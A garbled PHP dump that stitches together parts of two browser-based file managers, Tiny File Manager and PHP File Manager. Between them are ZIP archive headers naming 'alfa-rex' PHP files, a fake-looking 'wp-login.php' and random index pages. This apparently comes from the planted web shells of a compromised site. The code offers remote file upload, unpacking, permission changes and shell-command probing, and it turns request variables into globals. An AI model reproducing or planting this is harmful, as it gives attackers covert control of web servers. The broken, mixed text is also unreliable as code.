if (@$gzipper->extractTo($path,null, true)) {
$res = true;
} else {
$res = false;
}
} catch (Exception $e) {
//TODO:: need to handle the error
$res = true;
}
}
if ($res) {
fm_set_msg(lng('Archive unpacked'));
} else {
fm_set_msg(lng('Archive not unpacked'), 'error');
}
} else {
fm_set_msg(lng('File not found'), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
// Change Perms (not for Windows)
if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$file = $_POST['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
$mode = 0;
if (!empty($_POST['ur'])) {
$mode |= 0400;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 0040;
}
if (!empty($_POST['gw'])) {
$mode |= 0020;
}
if (!empty($_POST['gx'])) {
$mode |= 0010;
}
if (!empty($_POST['or'])) {
$mode |= 0004;
}
if (!empty($_POST['ow'])) {
$mode |= 0002;
}
if (!empty($_POST['ox'])) {
$mode |= 0001;
}
if (@chmod($path . '/' . $file, $mode)) {
fm_set_msg(lng('Permissions changed'));
} else {
fm_set_msg(lng('Permissions not changed'), 'error');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
/*************************** /ACTIONS ***************************/
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get parent folder
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
foreach ($objects as $file) {
if ($file == '.' || $file == '..') {
continue;
}
if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
continue;
}
$new_path = $path . '/' . $file;
if (@is_file($new_path) && fm_is_exclude_items($file)) {
$files[] = $file;
} elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
//get the allowed file extensions
function getUploadExt() {
$extArr = explode(',', FM_UPLOAD_EXTENSION);
if(FM_UPLOAD_EXTENSION && $extArr) {
array_walk($extArr, function(&$x) {$x = ".$x";});
return implode(',', $extArr);
}
return '';
}
?>
""
Full path:
File size:
MIME-type:
Files in archive:
Total size:
Size in archive:
Compression: %
';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists('iconv')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
}
}
echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
';
}
?>
';
} else if($online_viewer == 'microsoft') {
echo '
';
}
} elseif ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo '
';
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '' . fm_enc($fn['name']) . '
';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
';
}
}
echo '';
} else {
echo '
'.lng('Error while fetching archive info').'
';
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
echo '
 . ')
';
}
} elseif ($is_audio) {
// Audio content
echo '
';
} elseif ($is_video) {
// Video content
echo '
';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array(
'shtml' => 'xml',
'htaccess' => 'apache',
'phtml' => 'php',
'lock' => 'json',
'svg' => 'xml',
);
$hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
$hljs_class = 'nohighlight';
}
$content = '
' . fm_enc($content) . '
';
} elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = '
' . fm_enc($content) . '
';
}
echo $content;
}
?>
' . htmlspecialchars($content) . '';
} elseif ($is_text) {
echo '
' . htmlspecialchars($content) . '
';
} else {
fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
}
?>
= $time1 && $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
/**
* Get mime type
* @param string $file_path
* @return mixed|string
*/
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return '--';
}
}
/**
* HTTP Redirect
* @param string $url
* @param int $code
*/
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
/**
* Path traversal prevention and clean the url
* It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
* @param $path
* @return string
*/
function get_absolute_path($path) {
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
$absolutes = array();
foreach ($parts as $part) {
if ('.' == $part) continue;
if ('..' == $part) {
array_pop($absolutes);
} else {
$absolutes[] = $part;
}
}
return implode(DIRECTORY_SEPARATOR, $absolutes);
}
/**
* Clean path
* @param string $path
* @return string
*/
function fm_clean_path($path, $trim = true)
{
$path = $trim ? trim($path) : $path;
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
$path = get_absolute_path($path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
/**
* Get parent path
* @param string $path
* @return bool|string
*/
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return '';
}
return false;
}
/**
* Check file is in exclude list
* @param string $file
* @return bool
*/
function fm_is_exclude_items($file) {
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if (isset($exclude_items) and sizeof($exclude_items)) {
unset($exclude_items);
}
$exclude_items = FM_EXCLUDE_ITEMS;
if (version_compare(PHP_VERSION, '7.0.0', '<')) {
$exclude_items = unserialize($exclude_items);
}
if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) {
return true;
}
return false;
}
/**
* get language translations from json file
* @param int $tr
* @return array
*/
function fm_get_translations($tr) {
try {
$content = @file_get_contents('translation.json');
if($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng["language"] as $key => $value)
{
$code = $value["code"];
$lang_list[$code] = $value["name"];
if ($tr)
$tr[$code] = $value["translation"];
}
return $tr;
}
}
catch (Exception $e) {
echo $e;
}
}
/**
* @param $file
* Recover all file sizes larger than > 2GB.
* Works on php 32bits and 64bits and supports linux
* @return int|string
*/
function fm_get_size($file)
{
static $iswin;
static $isdarwin;
if (!isset($iswin)) {
$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
}
if (!isset($isdarwin)) {
$isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC');
}
// try a shell command
if ($exec_works) {
$arg = escapeshellarg($file);
$cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
@exec($cmd, $output);
if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin && class_exists("COM")) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile( realpath($file) );
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return $size;
}
}
// if all else fails
return filesize($file);
}
/**
* Get nice filesize
* @param int $size
* @return string
*/
function fm_get_filesize($size)
{
$size = (float) $size;
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$power = $size > 0 ? floor(log($size, 1024)) : 0;
return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}
/**
* Get director total size
* @param string $directory
* @return int
*/
function fm_get_directorysize($directory) {
global $calc_folder;
if ($calc_folder==true) { // Slower output
$size = 0; $count= 0; $dirCount= 0;
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file)
if ($file->isFile())
{ $size+=$file->getSize();
$count++;
}
else if ($file->isDir()) { $dirCount++; }
// return [$size, $count, $dirCount];
return $size;
}
else return 'Folder'; // Quick output
}
/**
* Get info about zip archive
* @param string $path
* @return array|bool
*/
function fm_get_zif_info($path, $ext) {
if ($ext == 'zip' && function_exists('zip_open')) {
$arch = zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = zip_read($arch)) {
$zip_name = zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array(
'name' => $zip_name,
'filesize' => zip_entry_filesize($zip_entry),
'compressed_size' => zip_entry_compressedsize($zip_entry),
'folder' => $zip_folder
//'compression_method' => zip_entry_compressionmethod($zip_entry),
);
}
zip_close($arch);
return $filenames;
}
} elseif($ext == 'tar' && class_exists('PharData')) {
$archive = new PharData($path);
$filenames = array();
foreach(new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace("phar://".$path, '', $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array(
'name' => $zip_name,
'filesize' => $zip_info->getSize(),
'compressed_size' => $file->getCompressedSize(),
'folder' => $zip_folder
);
}
return $filenames;
}
return false;
}
/**
* Encode html entities
* @param string $text
* @return string
*/
function fm_enc($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
/**
* Prevent XSS attacks
* @param string $text
* @return string
*/
function fm_isvalid_filename($text) {
return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}
/**
* Save message in session
* @param string $msg
* @param string $status
*/
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION[FM_SESSION_ID]['message'] = $msg;
$_SESSION[FM_SESSION_ID]['status'] = $status;
}
/**
* Check if string is in UTF-8
* @param string $string
* @return int
*/
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
/**
* Convert file name to UTF-8 in Windows
* @param string $filename
* @return string
*/
function fm_convert_win($filename)
{
if (FM_IS_WIN && function_exists('iconv')) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
/**
* @param $obj
* @return array
*/
function fm_object_to_array($obj)
{
if (!is_object($obj) && !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map('fm_object_to_array', $obj);
}
/**
* Get CSS classname for file
* @param string $path
* @return string
*/
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'webp':
case 'avif':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'rs':
case 'map':
case 'lock':
case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'bz2':
case 'zip':
case 'rar':
case 'gz':
case 'tar':
case '7z':
case 'xz':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
case 'xspf':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
case 'ods':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
case 'swp':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
case 'odt':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
/**
* Get image files extensions
* @return array
*/
function fm_get_image_exts()
{
return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}
/**
* Get video files extensions
* @return array
*/
function fm_get_video_exts()
{
return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}
/**
* Get audio files extensions
* @return array
*/
function fm_get_audio_exts()
{
return array('wav', 'mp3', 'ogg', 'm4a');
}
/**
* Get text file extensions
* @return array
*/
function fm_get_text_exts()
{
return array(
'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config',
'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue',
'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py',
'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi'
);
}
/**
* Get mime types of text files
* @return array
*/
function fm_get_text_mimes()
{
return array(
'application/xml',
'application/javascript',
'application/x-javascript',
'image/svg+xml',
'message/rfc822',
);
}
/**
* Get file names of text files w/o extensions
* @return array
*/
function fm_get_text_names()
{
return array(
'license',
'readme',
'authors',
'contributors',
'changelog',
);
}
/**
* Get online docs viewer supported files extensions
* @return array
*/
function fm_get_onlineViewer_exts()
{
return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}
function fm_get_file_mimes($extension)
{
$fileTypes['swf'] = 'application/x-shockwave-flash';
$fileTypes['pdf'] = 'application/pdf';
$fileTypes['exe'] = 'application/octet-stream';
$fileTypes['zip'] = 'application/zip';
$fileTypes['doc'] = 'application/msword';
$fileTypes['xls'] = 'application/vnd.ms-excel';
$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
$fileTypes['gif'] = 'image/gif';
$fileTypes['png'] = 'image/png';
$fileTypes['jpeg'] = 'image/jpg';
$fileTypes['jpg'] = 'image/jpg';
$fileTypes['webp'] = 'image/webp';
$fileTypes['avif'] = 'image/avif';
$fileTypes['rar'] = 'application/rar';
$fileTypes['ra'] = 'audio/x-pn-realaudio';
$fileTypes['ram'] = 'audio/x-pn-realaudio';
$fileTypes['ogg'] = 'audio/x-pn-realaudio';
$fileTypes['wav'] = 'video/x-msvideo';
$fileTypes['wmv'] = 'video/x-msvideo';
$fileTypes['avi'] = 'video/x-msvideo';
$fileTypes['asf'] = 'video/x-msvideo';
$fileTypes['divx'] = 'video/x-msvideo';
$fileTypes['mp3'] = 'audio/mpeg';
$fileTypes['mp4'] = 'audio/mpeg';
$fileTypes['mpeg'] = 'video/mpeg';
$fileTypes['mpg'] = 'video/mpeg';
$fileTypes['mpe'] = 'video/mpeg';
$fileTypes['mov'] = 'video/quicktime';
$fileTypes['swf'] = 'video/quicktime';
$fileTypes['3gp'] = 'video/quicktime';
$fileTypes['m4a'] = 'video/quicktime';
$fileTypes['aac'] = 'video/quicktime';
$fileTypes['m3u'] = 'video/quicktime';
$fileTypes['php'] = ['application/x-php'];
$fileTypes['html'] = ['text/html'];
$fileTypes['txt'] = ['text/plain'];
//Unknown mime-types should be 'application/octet-stream'
if(empty($fileTypes[$extension])) {
$fileTypes[$extension] = ['application/octet-stream'];
}
return $fileTypes[$extension];
}
/**
* This function scans the files and folder recursively, and return matching files
* @param string $dir
* @param string $filter
* @return json
*/
function scan($dir, $filter = '') {
$path = FM_ROOT_PATH.'/'.$dir;
if($dir) {
$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
$rii = new RegexIterator($ite, "/(" . $filter . ")/i");
$files = array();
foreach ($rii as $file) {
if (!$file->isDir()) {
$fileName = $file->getFilename();
$location = str_replace(FM_ROOT_PATH, '', $file->getPath());
$files[] = array(
"name" => $fileName,
"type" => "file",
"path" => $location,
);
}
}
return $files;
}
}
/*
Parameters: downloadFile(File Location, File Name,
max speed, is streaming
If streaming - videos will show as videos, images as images
instead of download prompt
https://stackoverflow.com/a/13821992/1164642
*/
function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
{
if (connection_status() != 0)
return (false);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$contentType = fm_get_file_mimes($extension);
header("Cache-Control: public");
header("Content-Transfer-Encoding: binary\n");
header('Content-Type: $contentType');
$contentDisposition = 'attachment';
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
$fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
} else {
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
}
header("Accept-Ranges: bytes");
$range = 0;
$size = filesize($fileLocation);
if (isset($_SERVER['HTTP_RANGE'])) {
list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
str_replace($range, "-", $range);
$size2 = $size - 1;
$new_length = $size - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length");
header("Content-Range: bytes $range$size2/$size");
} else {
$size2 = $size - 1;
header("Content-Range: bytes 0-$size2/$size");
header("Content-Length: " . $size);
}
if ($size == 0) {
die('Zero byte file! Aborting download');
}
@ini_set('magic_quotes_runtime', 0);
$fp = fopen("$fileLocation", "rb");
fseek($fp, $range);
while (!feof($fp) and (connection_status() == 0)) {
set_time_limit(0);
print(@fread($fp, 1024*$chunkSize));
flush();
ob_flush();
// sleep(1);
}
fclose($fp);
return ((connection_status() == 0) and !connection_aborted());
}
function fm_get_theme() {
$result = '';
if(FM_THEME == "dark") {
$result = "text-white bg-dark";
}
return $result;
}
/**
* Class to work with zip files (using ZipArchive)
*/
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
if (!$this->zip->addFile($path . '/' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
/**
* Class to work with Tar files (using PharData)
*/
class FM_Zipper_Tar
{
private $tar;
public function __construct()
{
$this->tar = null;
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
* @param string $filename
* @param array|string $files
* @return bool
*/
public function create($filename, $files)
{
$this->tar = new PharData($filename);
if (is_array($files)) {
foreach ($files as $f) {
if (!$this->addFileOrDir($f)) {
return false;
}
}
return true;
} else {
if ($this->addFileOrDir($files)) {
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
* @param string $filename
* @param string $path
* @return bool
*/
public function unzip($filename, $path)
{
$res = $this->tar->open($filename);
if ($res !== true) {
return false;
}
if ($this->tar->extractTo($path)) {
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
try {
$this->tar->addFile($filename);
return true;
} catch (Exception $e) {
return false;
}
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
/**
* Add folder recursively
* @param string $path
* @return bool
*/
private function addDir($path)
{
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
try {
$this->tar->addFile($path . '/' . $file);
} catch (Exception $e) {
return false;
}
}
}
}
return true;
}
return false;
}
}
/**
* Save Configuration
*/
class FM_Config
{
var $data;
function __construct()
{
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url.$_SERVER["PHP_SELF"];
$this->data = array(
'lang' => 'en',
'error_reporting' => true,
'show_hidden' => true
);
$data = false;
if (strlen($CONFIG)) {
$data = fm_object_to_array(json_decode($CONFIG));
} else {
$msg = 'Tiny File Manager
Error: Cannot load configuration';
if (substr($fm_url, -1) == '/') {
$fm_url = rtrim($fm_url, '/');
$msg .= '
';
$msg .= '
Seems like you have a trailing slash on the URL.';
$msg .= '
Try this link: ' . $fm_url . '';
}
die($msg);
}
if (is_array($data) && count($data)) $this->data = $data;
else $this->save();
}
function save()
{
$fm_file = __FILE__;
$var_name = '$CONFIG';
$var_value = var_export(json_encode($this->data), true);
$config_string = "
' . $_SESSION[FM_SESSION_ID]['message'] . '';
unset($_SESSION[FM_SESSION_ID]['message']);
unset($_SESSION[FM_SESSION_ID]['status']);
}
}
/**
* Show page header in Login Form
*/
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $favicon_path;
?>
'; } ?>
">
'; } ?>
">
PK ! v2/alfa-rex.PhP7nu [ PK ! v2/alfa-rex.php8nu [ PK ! v2/wp-login.phpnu [ PK ! =c aig/uktq/index.phpnu 6$ $val) {
if( preg_match($rx_http, $key) ) {
$arh_key = preg_replace($rx_http, '', $key);
$rx_matches = array();
// do some nasty string manipulations to restore the original letter case
// this should work in most cases
$rx_matches = explode('', $arh_key);
if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) {
foreach($rx_matches as $ak_key => $ak_val) {
$rx_matches[$ak_key] = ucfirst($ak_val);
}
$arh_key = implode('-', $rx_matches);
}
$arh[$arh_key] = $val;
}
}
return $arh;
}
}
// PHP mbstring module is needed for multibyte support and internationalization
if (!function_exists('mb_strtolower') || !function_exists('mb_strtoupper')) {
die('PHP File Manager
Error: Please enable "mbstring" PHP module.
http://php.net/manual/en/book.mbstring.php');
}
// +--------------------------------------------------
// | Header and Globals
// +--------------------------------------------------
@ob_start(); // For ChromePhp Debug and JSONRPC to Work!
function getmicrotime(){
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
$script_init_time = getmicrotime();
function log_script_time(){
global $script_init_time;
fb_log(number_format((getmicrotime()-$script_init_time), 3, '.', '')."s");
}
$is_windows = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
$max_php_recursion_counter = 0;
if(!isset($_SERVER['PATH_INFO']) && isset($_SERVER['ORIG_PATH_INFO'])) {
$_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO'];
}
function fix_directory_separator($str){
global $is_windows;
if ($is_windows) $str = str_replace('/',DIRECTORY_SEPARATOR,$str);
else $str = str_replace('\\',DIRECTORY_SEPARATOR,$str);
return $str;
}
if(!isset($_SERVER['DOCUMENT_ROOT'])) {
if (isset($_SERVER['SCRIPT_FILENAME'])) $path = $_SERVER['SCRIPT_FILENAME'];
elseif (isset($_SERVER['PATH_TRANSLATED'])) $path = str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED']);
$_SERVER['DOCUMENT_ROOT'] = substr($path, 0, 0-strlen($_SERVER['PHP_SELF']));
}
$_SERVER['DOCUMENT_ROOT'] = fix_directory_separator($_SERVER['DOCUMENT_ROOT']);
if (!function_exists('get_magic_quotes_gpc') || get_magic_quotes_gpc()) {
function stripslashes_deep($value){
return is_array($value)? array_map('stripslashes_deep', $value):$value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
}
// Register Globals (its an old script..)
$blockKeys = array('_SERVER','_SESSION','_GET','_POST','_COOKIE');
foreach ($_GET as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
foreach ($_POST as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
foreach ($_COOKIE as $key => $val) if (array_search($key,$blockKeys) === false && $key != 'fm_current_dir' && $key != 'ace_wrap') $$key=$val;
// PHP_VERSION_ID is available as of PHP 5.2.7, if our version is lower than that, then emulate it
if (!defined('PHP_VERSION_ID')) {
$php_version = explode('.', PHP_VERSION);
define('PHP_VERSION_ID', ($php_version[0] * 10000 + $php_version[1] * 100 + $php_version[2]));
if (PHP_VERSION_ID < 50207) {
define('PHP_MAJOR_VERSION', $php_version[0]);
define('PHP_MINOR_VERSION', $php_version[1]);
define('PHP_RELEASE_VERSION', $php_version[2]);
}
}
// Server Vars
function curl_server_online_check(){
if (function_exists('curl_init')){
@$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://phpfm.sf.net");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
@curl_exec($ch);
$errnum = curl_errno($ch);
@curl_close($ch);
}
return ($errnum == "0");
}
function socket_get_lan_ip($dest='64.0.0.0', $port=80) {
$addr = '';
if (function_exists('socket_create')){
$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_connect($socket, $dest, $port);
socket_getsockname($socket, $addr, $port);
socket_close($socket);
}
return $addr;
}
function get_client_ip() {
$ipaddress = '';
if ($_SERVER['HTTP_CLIENT_IP']) $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
else if($_SERVER['HTTP_X_FORWARDED_FOR']) $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
else if($_SERVER['HTTP_X_FORWARDED']) $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
else if($_SERVER['HTTP_FORWARDED_FOR']) $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
else if($_SERVER['HTTP_FORWARDED']) $ipaddress = $_SERVER['HTTP_FORWARDED'];
